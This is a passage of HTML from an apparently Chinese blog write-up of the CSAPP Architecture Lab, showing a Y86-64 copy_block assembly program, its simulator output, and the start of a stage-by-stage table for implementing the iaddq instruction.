class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">.pos 0</span><br><span class="line">irmovq stack, %rsp</span><br><span class="line">irmovq src, %rdi</span><br><span class="line">irmovq dest, %rsi</span><br><span class="line">irmovq $3, %r9</span><br><span class="line">rrmovq %r9, %rdx</span><br><span class="line">call copy_block</span><br><span class="line">halt</span><br><span class="line"></span><br><span class="line">.align 8</span><br><span class="line">src:</span><br><span class="line">    .quad 0x00a</span><br><span class="line">    .quad 0x0b0</span><br><span class="line">    .quad 0xc00</span><br><span class="line"></span><br><span class="line">dest:</span><br><span class="line">    .quad 0x111</span><br><span class="line">    .quad 0x222</span><br><span class="line">    .quad 0x333</span><br><span class="line"></span><br><span class="line">copy_block:</span><br><span class="line">    xorq %rax, %rax # result = 0</span><br><span class="line">    jmp Test</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Loop:</span><br><span class="line">    # val -&gt; %8</span><br><span class="line"></span><br><span class="line">    # val = *src</span><br><span class="line">    mrmovq (%rdi), %r8</span><br><span class="line">    </span><br><span class="line">    irmovq $8, %r9</span><br><span class="line"></span><br><span class="line">    # src++</span><br><span class="line">    addq %r9, %rdi</span><br><span class="line"></span><br><span class="line">    # *dest = val</span><br><span class="line">    rmmovq %r8, (%rsi)</span><br><span class="line"></span><br><span class="line">    # dest++</span><br><span class="line">    addq %r9, %rsi</span><br><span class="line"></span><br><span class="line">    # result ^= val</span><br><span class="line">    xorq %r8, %rax</span><br><span class="line"></span><br><span class="line">    # len--</span><br><span class="line">    irmovq $1, %r9</span><br><span class="line">    subq %r9, %rdx</span><br><span class="line"></span><br><span class="line">Test:</span><br><span class="line">    andq %rdx, %rdx   </span><br><span class="line">    jg Loop</span><br><span class="line"></span><br><span class="line">    ret</span><br><span class="line"></span><br><span class="line">.pos 0x200</span><br><span class="line">stack:</span><br></pre></td></tr></table></figure></details><details><summary> <code>./yis ans-copy.yo</code> 运行结果 </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">❯ ./yis ans-copy.yo</span><br><span class="line">Stopped in 42 steps at PC = 0x33.  Status &#x27;HLT&#x27;, CC Z=1 S=0 O=0</span><br><span class="line">Changes to registers:</span><br><span class="line">%rax:   0x0000000000000000      0x0000000000000cba</span><br><span class="line">%rsp:   0x0000000000000000      0x0000000000000200</span><br><span class="line">%rsi:   0x0000000000000000      0x0000000000000068</span><br><span class="line">%rdi:   0x0000000000000000      0x0000000000000050</span><br><span class="line">%r8:    0x0000000000000000      0x0000000000000c00</span><br><span class="line">%r9:    0x0000000000000000      0x0000000000000001</span><br><span class="line"></span><br><span class="line">Changes to memory:</span><br><span class="line">0x0050: 0x0000000000000111      0x000000000000000a</span><br><span class="line">0x0058: 0x0000000000000222      0x00000000000000b0</span><br><span class="line">0x0060: 0x0000000000000333      0x0000000000000c00</span><br><span class="line">0x01f8: 0x0000000000000000      0x0000000000000033</span><br></pre></td></tr></table></figure></details><h4 id="part-b"><a class="markdownIt-Anchor" href="#part-b"></a> Part B</h4><p>要实现 <code>iaddq V, %rB</code> 指令，功能是将立即数 V 加到寄存器 rB 中，并更新条件码。</p><p>可以参考 <code>irmovq</code> 和 <code>addq</code> 来实现。</p><table><thead><tr><th style="text-align:left">阶段</th><th style="text-align:left"><code>OPq rA, rB</code></th><th style="text-align:left"><code>irmovq V, rB</code></th><th style="text-align:left"><code>iaddq V, rB</code></th></tr></thead><tbody><tr><td style="text-align:left"><strong>取指</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valC \leftarrow M_8[PC+2]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valC \leftarrow M_8[PC+2]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>译码</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[rA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[rB]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span></span></span></span></td><td style="text-align:left"></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[rB]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>执行</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mtext> OP </mtext><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow valB \text{ OP } valA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mord text"><span class="mord"> OP </span></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span></span></span></span><br><strong>Set CC</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mn>0</mn><mo>+</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow 0 + valC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>+</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow valB + valC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span></span></span></span> <br><strong>Set CC</strong></td></tr><tr><td style="text-align:left"><strong>访存</strong></td><td style="text-align:left"></td><td style="text-align:left"></td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><strong>写回</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[rB] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span 